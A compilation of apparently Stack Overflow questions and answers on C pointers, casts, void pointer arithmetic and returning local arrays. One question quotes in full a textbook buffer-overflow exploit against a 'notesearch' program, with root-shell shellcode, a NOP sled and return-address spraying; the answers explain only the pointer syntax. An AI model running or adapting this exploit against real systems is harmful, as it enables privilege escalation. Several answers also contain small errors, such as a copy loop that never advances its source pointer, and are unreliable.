Unsigned char pointer pointing to an unsigned char array - c

I'm trying to make an array of unsigned char's and make a pointer which points to the first position of the array but I keep getting an error. This is my code as well as the error:
void initBuffer
{
unsigned char buffer[size];
unsigned char *ptr;
ptr = &buffer;
}
I suspect it's a very simple type error buy I'm new to C and not sure how to fix it.

The type of &buffer is unsigned char (*)[size].
The type of ptr is unsigned char *.
Those two types are not the same. Just as the compiler tells you.
Assuming you want to make ptr point to the first elements of buffer then you need to use &buffer[0] which has the correct type. And that's what plain buffer will decay to:
ptr = buffer;

I made a minor change to the code you provided, ptr = &buffer[0];
#include <stdio.h>
int main() {
unsigned char buffer[] = {'A','B','C','D'};
unsigned char *ptr;
ptr = &buffer[0]; // ptr, points to first element of array
for(int i=0; i<4; i++)
printf("%c", ptr[i]);
return 0;
}

Related

What does this syntax *((unsigned int *)(buffer+i)) mean in C

This is the code:
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200);
strcpy(command, "./notesearch \'");
buffer = command + strlen(command);
for(int i=0; i < 160; i+=4) {
*((unsigned int *)(buffer+i)) = ret; // What does this syntax mean?
}
You can get the full code here => https://raw.githubusercontent.com/intere/hacking/master/booksrc/exploit_notesearch.c
Please help me I'm a beginner.
Read it from the inner part to the outer. Here we must suppose that buffer is a pointer to some memory area or array element.
You have:
buffer + 1 ==> address to next memory position or next array element
(unsigned int *)(buffer+i) ==> cast of resulting pointer to a pointer of type unsigned int.
*((unsigned int *)(buffer+i)) ==> dereference the unsigned int pointed out (get the value).
*((unsigned int *)(buffer+i)) = ret; ==> assign the value to the variable ret.
In C, when evaluating expressions, always go from the inside to the outer.
This writes the unsigned int ret to the address buffer+i
*((unsigned int *)(buffer+i)) = ret
buffer+i is a char* (pointer to char)
the (unsigned int *) in (unsigned int *)(buffer+i) transforms the pointer to char into an pointer to unsigned int. This is called a cast.
finally the * dereferences this pointer to unsigned int and writes ret to that address.
Be aware that depending on the architecture of your hardware this may fail because of alignement issues.

Arithmetics with void pointer

I call a function that swaps shifts a massage in memory:
for (int i = now->size - 1; i >= 0; i--)
{
void *address2 = prev->start_address + i;
void *address1 = now->start_adress + i;
address1 = address2;
address2 = '\0';
}
So basically I have two addresses one pointing to the first start location the other to the second start location that the content have to be pasted.
The problem is that the only solution that I find is to add int ( this is i value ) and prev->start_adress( that is void*) as I have shown. I want to do it correctly, i cant change the void pointer to int. Is there any other possibilities.
My errors:
error: invalid conversion from ‘void*’ to ‘char*’ [-fpermissive]
warning: pointer of type ‘void *’ used in arithmetic [-Wpointer-arit]
214 | void *address2 = prev->start + i;
Warning: pointer of type ‘void *’ used in arithmetic [-Wpointer-arit]
215 | void *address1 = now->start + i;
Supporting information:
I have a linked list(full of segementdescriptors) and a "memory" that is a simple array[].Similar how malloc works.
typedef struct segmentdescriptor
{
Byte allocated;
void *start;
size_t size;
struct segmentdescriptor *next;
} Node;
the start pointers point to the begining of the allocated space in the array[].
Update:
The simplest way is to use typecast to do arithmethics on void pointers if you know their size like :
char *address2 = (char *)prev->start + i;
If you dont know the type, it is impossible because for example:
char *pointer points to one byte of memory and if you write pointer++ goes
to next byte. int *pointer is lets say points four byes. if you write pointer ++ goes to the four bytes after the four bytes.
There are also good answers below.
Thanks for all answers.
I do not really understand what shifts a massage in memory is, but if you just want to copy one memory location to another you can
Use memcpy or memmove (if memory locations overlap)
memcpy(now->start_adress, prev->start_address, now->size);
Write your own function to copy the memory
void *mymemcpy(void *dest, const void *src, size_t size)
{
unsigned char *cdest = (unsigned char *)dest; //cast for C++ compiler
const unsigned char *csrc = (unsigned char *)src;
while(size--) *cdest++ = *csrc;
return dest;
}
void *mymemcpy(void *dest, const void *src, size_t size)
{
unsigned char *cdest = (unsigned char *)dest; //cast for C++ compiler
const unsigned char *csrc = (unsigned char *)src;
for(size_t index = 0; index < size; index++) cdest[index] = csrc[index];
return dest;
}
void *mymemcpy(void *dest, const void *src, size_t size)
{
unsigned char *cdest = (unsigned char *)dest; //cast for C++ compiler
const unsigned char *csrc = (unsigned char *)src;
for(size_t index = 0; index < size; index++) *(cdest + index) = *(csrc + index);
return dest;
}
C standard does not allow any pointer arithmetic on void pointers. gcc has an extension which treats the void * as pointer to char allowing the arithmetics, but not allowing dereferencing.+
The type void is always an incomplete type. That is the size of an object of the type void is unknown. So you may not use the pointer arithmetic with a pointer of the type void * though some compilers have their own language extensions that allow the pointer arithmetic with the type void * the same way as with pointers of the type char *.
So these statements
void *address2 = prev->start + i;
void *address1 = now->start + i;
are incorrect according to the C Standard because the pointer start has the type void *.
Also it seems these statements
address1 = address2;
address2 = '\0';
are doing not what you thing.
For starters this statement
address1 = address2;
assigns one pointer to another pointer though it looks like actually you want to assign a value pointed to by one pointer to the memory pointed to by another pointer.
And this statement is equivalent to
address2 = NULL;
That is it does not set the pointed memory with the terminating zero character '\0'.
If as you are saying these pointers deal with a message (a string) then you need to cast the pointers to the type char *.
As for this your phrase
I call a function that swaps shifts a massage in memory:
then it is totally unclear what you are trying to do using the for loop because the loop in any case does not make a sense.
If you need to copy one character array into another character array then use the standard C function memcpy or memmove depending on what and how you are trying to copy arrays.
Regarding these warnings:
warning: pointer of type ‘void *’ used in arithmetic [-Wpointer-arit]
214 | void *address2 = prev->start + i;
Warning: pointer of type ‘void *’ used in arithmetic [-Wpointer-arit]
215 | void *address1 = now->start + i;
On any modern computer the value of a pointer is a memory address (typically a virtual memory address). When you add one to a pointer, it's value (aka the memory address) is incremented by the sizeof the pointed to type.
Example:
TYPE* p = SOME_ADDRESS; // The value of p is now SOME_ADDRESS
p = p + 1; // The value of p is now SOME_ADDRESS + sizeof(TYPE);
p = SOME_ADDRESS; // The value of p is now SOME_ADDRESS
p = p + i; // The value of p is now SOME_ADDRESS + i * sizeof(TYPE);
In other words: In order to add an integer value to a pointer, we need to know the size of the element that the pointer points to.
And that is your problem. You have void-pointers so you would need to know the "sizeof void" in order to update the pointer. But the sizeof void can be anything and isn't defined by the standard. Apparently, your compiler has a non-standard extension that allows sizeof(void). Consequently, your compiler only gives you a warning.
Regarding this error:
error: invalid conversion from ‘void*’ to ‘char*’
It comes from some code post you didn't post. Further it shows that you use a c++ compiler instead of a c compiler.
Finally: Even if the pointer arithmetic was valid, your code do nothing.
for (int i = now->size - 1; i >= 0; i--)
{
void *address2 = prev->start_address + i;
void *address1 = now->start_adress + i;
address1 = address2; // This only change the value of the pointer
// It doesn't change the memory that the
// pointer points to
address2 = '\0';
}
It's not fully clear what you are trying to do but perhaps this is what you are looking for:
for (int i = now->size - 1; i >= 0; i--)
{
char *address2 = (char*)prev->start_address + i;
char *address1 = (char*)now->start_adress + i;
*address1 = *address2;
*address2 = '\0';
}

How does C do arithmetic to the left of '='?

I'm working through "The art of exploitation", and there's the following C program that I don't fully understand the syntax of.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
free(command);
}
Now, inside the for loop, there's one line which, I guess, stores the return address in buffer+i? But where does that value get saved? buffer or i? How does this code even work?
For any pointer or array p and index i, the expression *(p + i) is exactly equal to p[i]. From this follows that p + i is a pointer to the i:th element of p, which is then &p[i].
Assuming you're asking about *((unsigned int *)(buffer+i)), if we split it into its separate parts we have
buffer + i which from above we now know is equal to &buffer[i].
Then we have (unsigned int *) which is a plain cast, which tells the compiler to treat &buffer[i] as a pointer to an unsigned int.
Then lastly we have the dereference of that pointer, which yields the value being pointed to.
So the assignment writes the int value in ret to where &buffer[i] is pointing.
It could also help if we rewrite this using temporary variables:
char *buffer_ptr = buffer + i;
unsigned int *int_ptr = (unsigned int *) buffer_ptr;
int_ptr[0] = ret;
buffer is a pointer to char (char *).
In the following line, the developer casts buffer into a pointer to int, then performs pointer arithmetic by adding an offset of i integers, then deference this offset pointer and writes to that location the value stored in ret.
*((unsigned int *)(buffer+i)) = ret;
Example: assume int is 4byte long, and assume buffer points to address 0x100 (buffer = 0x100).
assume i = 10;
buffer+i then points to 0x100+10*(size of int) = 0x100+10*4 = 0x10E
ret is then written into the memory at address 0x10E
*((unsigned int *)(buffer+i)) = ret;
means
*((unsigned int*)(&(buffer[i]))) = ret;
In the code
*((unsigned int *)(buffer+i)) = ret;
buffer is of type char *, so pointer arithmetic (buffer+i) works using the type it points to, i.e, char. Also, while deferenencing the address held in buffer, it's of type char, as buffer is defined as a pointer to a char type.
Now, the address it produces as a result of buffer +i, is of type char *, i.e., to hold a char type. But, we want to store an unsigned int value (the value of ret variable), so there are two things done in the code:
i is increased by 4 in the loop (assuming the size of an unsigned int in 4 bytes)
the address, is cast to unsigned int *.
Then, the address is dereferenced to indicate the value at that address, and the unsigned int value of ret is stored there.

How to use typedef of a pointer variable of a structure to point to the same structure varible

#include<stdio.h>
//This program is about structure and there pointer
//
typedef struct{
int i;
char c;
}str1,*strptr;
str1 str[5];
strptr *ptr;
int main(){
ptr = &str;// This is shown as incompatible type assignment **warning**
ptr->i=35; // **error**: request for member 'i' in something
//not a structure or union
ptr->c='d';//**error**: request for member 'c' in
// something not a structure or union
printf("My structure values are %d %c\n",str[0].i,str[0].c);
return 0;
}
When I run this program one warning and two errors are coming. Please Read the comment lines for warning and errors.
What did I miss?
In your code, strptr is already a pointer type. You need to change
strptr *ptr;
to
strptr ptr;
You typedefed strptr to pointer to struct. Therefore
strptr *ptr;
declares ptr as a pointer to pointer to struct. &str is of type pointer to struct and is incompatible with the type of ptr.
Change the above declaration to
strptr ptr;
Just drop the pointer typedef
typedef struct{
int i;
char c;
} str1;
as it obviously confuses, and use
str * strptr = &str;
You should declare ptr like
strptr ptr;
because strptr already declares a pointer
typedef struct{
int i;
char c;
}str1, *strptr;
^^^^^^^^
and in main there must be
ptr = str;
^^^^
In this case ptr will poin to the first element of array str. This statement is equivalenty to
ptr = &str[0];
And function main in C should be declared like
int main( void )
^^^^^^
And there is no sense to declare ptr and str like globale variables. It would be better to place their declarations in main
int main( void )
{
str1 str[5] = { 0 };
strptr ptr = str;

Assigning returned cstring to variable

I'm writing a function that reverses a cstring not in place but returns the reversed cstring. What exactly should the return type be?
#include <stdio.h>
#include <string.h>
const char* reverStr(const char *str)
{
char revStr[strlen(str)];
int i;
for(i = strlen(str)-1; i >= 0; i--)
revStr[strlen(str)-1-i] = str[i];
printf("returned value should be %s\n", revStr);
return revStr;
}
int main()
{
char aStr[] = "hello";
char aStr2[] = "goodbye";
printf("%s %s", aStr, aStr2);
char* tmp = reverStr(aStr);//tmp now has garbage
printf("\n%s", tmp);
printf(" %s", aStr);
return 0;
}
Gives
warning: function returns address of local variable [enabled by default]|
warning: initialization discards 'const' qualifier from pointer target type [enabled by default]|
I tried changing char* tmp to char tmp[] but it wouldn't compile. It confuses me when I should use an array and when I should use a pointer.
revStr is an array and ceases to exist after reverStr function exits. For more please read:
Where is the memory allocated when I create this array? (C)
const char* reverStr(const char *str)
{
char revStr[strlen(str)];
return revStr; /* Problem - revStr is a local variable trying to access this address from another function will be erroneous*/
}
const char* reverStr(const char *str)
{
const char * revStr = str;
return revStr; //ok
}
A modifiable l-value cannot have an array type. An l-value is an expression which can come on the left side of an assignment. You use an array when you want to declare lots of variables of the same type and you can index it easily since its layout will be in a sense contiguous.
You use pointers when you want to keep changing the values of the address where you variable points to.
You can do this:
char * p = "test";
p = "new";
But you cannot do this:
char p[] = "test";
char *p1 ="test1";
p = p1; //error
Because their (arrays and pointers) types are not the same and the array p is a non-modifiable l-value.
Here is your fixed code. I tried to make less modifications.
char revStr[strlen(str)]; allocates a local variable(an array) and when you are out of the scope of the reverStr function, its memory is released, which will lead any further usage of its pointer to be UB(segfault in most cases).
A correct way is to allocate the string on the heap and return its pointer like this
char* x = (char*)malloc(strlen(str));
...
return x;
This requires user to be responsible to free the memory. Or you could pass another parameter to your function for the result string.
I think you should use malloc to allocate a new string.
const char* reverStr(const char *str)
{
char *revStr;//using pointer
int i;
revStr = (char*)malloc(strlen(str));//dynamic allocation
for(i = strlen(str)-1; i >= 0; i--)
revStr[strlen(str)-1-i] = str[i];
printf("returned value should be %s\n", revStr);
return revStr;
}
An array is a pointer point to the head of continuous memory.
for example:
int a[] = {1,2,3};
The address in memory maybe:
--1000
|1|
--1004
|2|
--1008
|3|
--1012
1000, 1004, and 1012 are the value of address in memory.
Thus, the value of array a should be 1000.
printf("%d",a);// Yes, you can do it and you may get the value of 1000.
Also, you can use the following code.
int a[] = {1,2,3};
int *b;
b= a;
printf("%d",b[1]);// you will get "2".
You can consider that pointer is a set and array is in the set.
Therefore, you can NOT do this;
int a[] = {1,2,3};
int c = 0;
int *b = &c;
a = b;//error

Resources